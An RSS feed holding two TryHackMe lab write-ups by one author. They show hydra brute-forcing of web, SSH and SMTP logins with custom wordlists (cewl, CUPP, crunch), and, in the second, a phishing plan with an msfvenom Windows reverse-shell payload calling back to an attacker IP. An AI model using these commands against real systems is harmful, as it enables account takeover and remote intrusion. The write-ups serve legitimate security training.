<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Md. Ibrahim Reza Rabbi</title>
    <description>The latest articles on DEV Community by Md. Ibrahim Reza Rabbi (@ibrahim71reza).</description>
    <link>https://dev.to/ibrahim71reza</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3886474%2Fb6184b8c-0cdf-45b1-a795-6c8132634a9f.png</url>
      <title>DEV Community: Md. Ibrahim Reza Rabbi</title>
      <link>https://dev.to/ibrahim71reza</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ibrahim71reza"/>
    <language>en</language>
    <item>
      <title>Checkmate (TryHackMe) Writeup | Credential Attacks, Custom Wordlists, and SSH Brute Force</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Wed, 17 Jun 2026 10:42:07 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/checkmate-tryhackme-writeup-credential-attacks-custom-wordlists-and-ssh-brute-force-5cm2</link>
      <guid>https://dev.to/ibrahim71reza/checkmate-tryhackme-writeup-credential-attacks-custom-wordlists-and-ssh-brute-force-5cm2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpelcjdymfjzzpnek1d5v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpelcjdymfjzzpnek1d5v.png" alt=" " width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 1:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco deployed a firewall at firewall.thm:5001 but kept default credentials.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Used this Command to get the pasword&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; admin &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5001 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;from page source got the parameters -&amp;gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F470x09vjav364k1yxr5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F470x09vjav364k1yxr5h.png" alt=" " width="799" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And for an incorrect password it was showing "Invalid credentials"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbe2ri7a8b0sivrdgxfsy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbe2ri7a8b0sivrdgxfsy.png" alt=" " width="563" height="559"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 2:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhl1fxfjv1odiyugsk3oz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhl1fxfjv1odiyugsk3oz.png" alt=" " width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We CEWL keywords from the site,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cewl &lt;span class="nt"&gt;--lowercase&lt;/span&gt; http://10.48.180.224:5002/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwords.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; marco &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5002 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fts9cqp259gj8e5w8n0z1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fts9cqp259gj8e5w8n0z1.png" alt=" " width="799" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 3 :&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Navigate to social.thm:5003 and derive Marco's password from personal info.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf6ijxfwangsae6q76zb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf6ijxfwangsae6q76zb.png" alt=" " width="799" height="297"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With those info to make a wordlist "CUPP" is the best tool&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cupp &lt;span class="nt"&gt;-i&lt;/span&gt;
&lt;span class="go"&gt; ___________ 
&lt;/span&gt;&lt;span class="gp"&gt;   cupp.py!                 #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Common
&lt;span class="gp"&gt;      \                     #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;User
&lt;span class="gp"&gt;       \   ,__,             #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Passwords
&lt;span class="gp"&gt;        \  (oo)____         #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Profiler
&lt;span class="go"&gt;           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
&lt;/span&gt;&lt;span class="gp"&gt;[+] If you don't know all the info, just hit enter when asked! ;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;First Name: Marco
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Surname: Bianchi
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Nickname: marky
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Birthdate &lt;span class="o"&gt;(&lt;/span&gt;DDMMYYYY&lt;span class="o"&gt;)&lt;/span&gt;: 14021995
&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; name: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; nickname: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Partners&lt;span class="o"&gt;)&lt;/span&gt; birthdate &lt;span class="o"&gt;(&lt;/span&gt;DDMMYYYY&lt;span class="o"&gt;)&lt;/span&gt;: 
&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Child&lt;span class="s1"&gt;'s name: 
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;Child'&lt;/span&gt;s nickname: 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Child&lt;span class="s1"&gt;'s birthdate (DDMMYYYY): 
&lt;/span&gt;&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Pet&lt;span class="s1"&gt;'s name: 
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;Company name: 
&lt;/span&gt;&lt;span class="go"&gt;

&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add some key words about the victim? Y/[N]: N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add special chars at the end of words? Y/[N]: N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Do you want to add some random numbers at the end of words? Y/[N]:N
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Leet mode? &lt;span class="o"&gt;(&lt;/span&gt;i.e. leet &lt;span class="o"&gt;=&lt;/span&gt; 1337&lt;span class="o"&gt;)&lt;/span&gt; Y/[N]: N
&lt;span class="go"&gt;
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to marco.txt, counting 2816 words.
[+] Now load your pistolero with marco.txt and shoot! Good luck!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then used this command -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; marco &lt;span class="nt"&gt;-P&lt;/span&gt; marco.txt &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 4 10.48.180.224 &lt;span class="nt"&gt;-s&lt;/span&gt; 5003 http-post-form &lt;span class="s1"&gt;'/login:username=^USER^&amp;amp;password=^PASS^:F=Invalid credentials'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6g6uaxi77xbztoziljw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6g6uaxi77xbztoziljw.png" alt=" " width="785" height="155"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 4:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;after log in with that credential we got this interface -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fknkp2zj798w63kghvb10.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fknkp2zj798w63kghvb10.png" alt=" " width="799" height="427"&gt;&lt;/a&gt;&lt;br&gt;
When we opoened his profile pic noticed the file name is sha-256,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr9zwx5ak1cdkj6cihvn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr9zwx5ak1cdkj6cihvn.png" alt=" " width="800" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwon2lbswi64byytj81lt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwon2lbswi64byytj81lt.jpeg" alt=" " width="702" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Challenge 5:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now notice marco's post and also notice "oliver" hotel name-&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t02i7vwgtqxjukdv24m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t02i7vwgtqxjukdv24m.png" alt=" " width="646" height="179"&gt;&lt;/a&gt;&lt;br&gt;
But the oliver is not the company keyword what marco was indicating he was indicating "security" keyword under his post -&amp;gt;&lt;br&gt;
so used this 2 commands -&amp;gt;&lt;br&gt;
&lt;code&gt;crunch 13 13 -t Security20%%! -o marco_wordlist.txt&lt;/code&gt;&lt;br&gt;
&lt;code&gt;hydra -l marco -P marco_wordlist.txt ssh://10.48.180.224&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8o1fxhiq52qfuglw5jo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8o1fxhiq52qfuglw5jo.png" alt=" " width="800" height="695"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>You Got Mail: Compromising a Windows Mail Server | TryHackMe</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Wed, 17 Jun 2026 07:17:24 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/you-got-mail-compromising-a-windows-mail-server-tryhackme-4kd7</link>
      <guid>https://dev.to/ibrahim71reza/you-got-mail-compromising-a-windows-mail-server-tryhackme-4kd7</guid>
      <description>&lt;p&gt;In this walkthrough, we'll explore how one email password led to a complete mail server compromise.&lt;/p&gt;

&lt;p&gt;NMAP command,&lt;br&gt;
&lt;code&gt;sudo nmap -sS -sV -sC -O -Pn -p- --min-rate 1000 -T4 -oA fullscan &amp;lt;target-ip&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99wqhe1set7b9rblue42.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99wqhe1set7b9rblue42.png" alt=" " width="684" height="605"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The target is a &lt;strong&gt;Windows mail server (BRICK-MAIL)&lt;/strong&gt; running &lt;strong&gt;hMailServer&lt;/strong&gt; with SMTP, POP3, and IMAP services exposed. It also has &lt;strong&gt;SMB (445)&lt;/strong&gt;, &lt;strong&gt;RDP (3389)&lt;/strong&gt;, and &lt;strong&gt;WinRM (5985)&lt;/strong&gt; open, making those the main services to investigate next.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When I surf the website &lt;strong&gt;&lt;a href="https://brownbrick.co/" rel="noopener noreferrer"&gt;https://brownbrick.co/&lt;/a&gt;&lt;/strong&gt;, I noticed this part -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friuvc3q5of5ouu1r5dmk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friuvc3q5of5ouu1r5dmk.png" alt=" " width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I listed all the emails and for the password try to gather the keywords from the website with the help of the "cewl" &amp;amp; after that with "hydra" checked the open SMTP server at &lt;strong&gt;port 587&lt;/strong&gt; to find a legit password of someone -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;emails.txt 
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;oaurelius@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wrohit@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lhedvig@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tchikondi@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pcathrine@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fstamatis@brownbrick.co
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                                     
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;cewl &lt;span class="nt"&gt;--lowercase&lt;/span&gt; https://brownbrick.co/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwords.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                                                                                                                     
&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; emails.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt 10.49.179.117 smtp &lt;span class="nt"&gt;-s&lt;/span&gt; 587 &lt;span class="nt"&gt;-t&lt;/span&gt; 12
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra v9.6 &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2023 by van Hauser/THC &amp;amp; David Maciejak - Please &lt;span class="k"&gt;do &lt;/span&gt;not use &lt;span class="k"&gt;in &lt;/span&gt;military or secret service organizations, or &lt;span class="k"&gt;for &lt;/span&gt;illegal purposes &lt;span class="o"&gt;(&lt;/span&gt;this is non-binding, these &lt;span class="k"&gt;***&lt;/span&gt; ignore laws and ethics anyway&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; starting at 2026-06-13 06:28:48
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DATA] max 12 tasks per 1 server, overall 12 tasks, 1134 login tries &lt;span class="o"&gt;(&lt;/span&gt;l:6/p:189&lt;span class="o"&gt;)&lt;/span&gt;, ~95 tries per task
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DATA] attacking smtp://10.49.179.117:587/
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;587][smtp] host: 10.49.179.117   login: lhedvig@brownbrick.co   password: br&lt;span class="k"&gt;***&lt;/span&gt;s
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;1 of 1 target successfully completed, 1 valid password found
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; finished at 2026-06-13 06:29:27
&lt;span class="go"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, with this "&lt;a href="mailto:lhedvig@brownbrick.co"&gt;lhedvig@brownbrick.co&lt;/a&gt;" we can send a phishing mail in which we can make the other users to click or execute our attached malicious file [ which we will collect from the "msfvenom" (reverse shell for windows) ] and we notice that "wrohit" user was the victim -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Try_Hack_Me]
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;└─&lt;span class="nv"&gt;$ &lt;/span&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.129.81 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;443 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; shell.exe
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-] No &lt;span class="nb"&gt;arch &lt;/span&gt;selected, selecting &lt;span class="nb"&gt;arch&lt;/span&gt;: x64 from the payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;No encoder specified, outputting raw payload
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Payload size: 460 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Final size of exe file: 7680 bytes
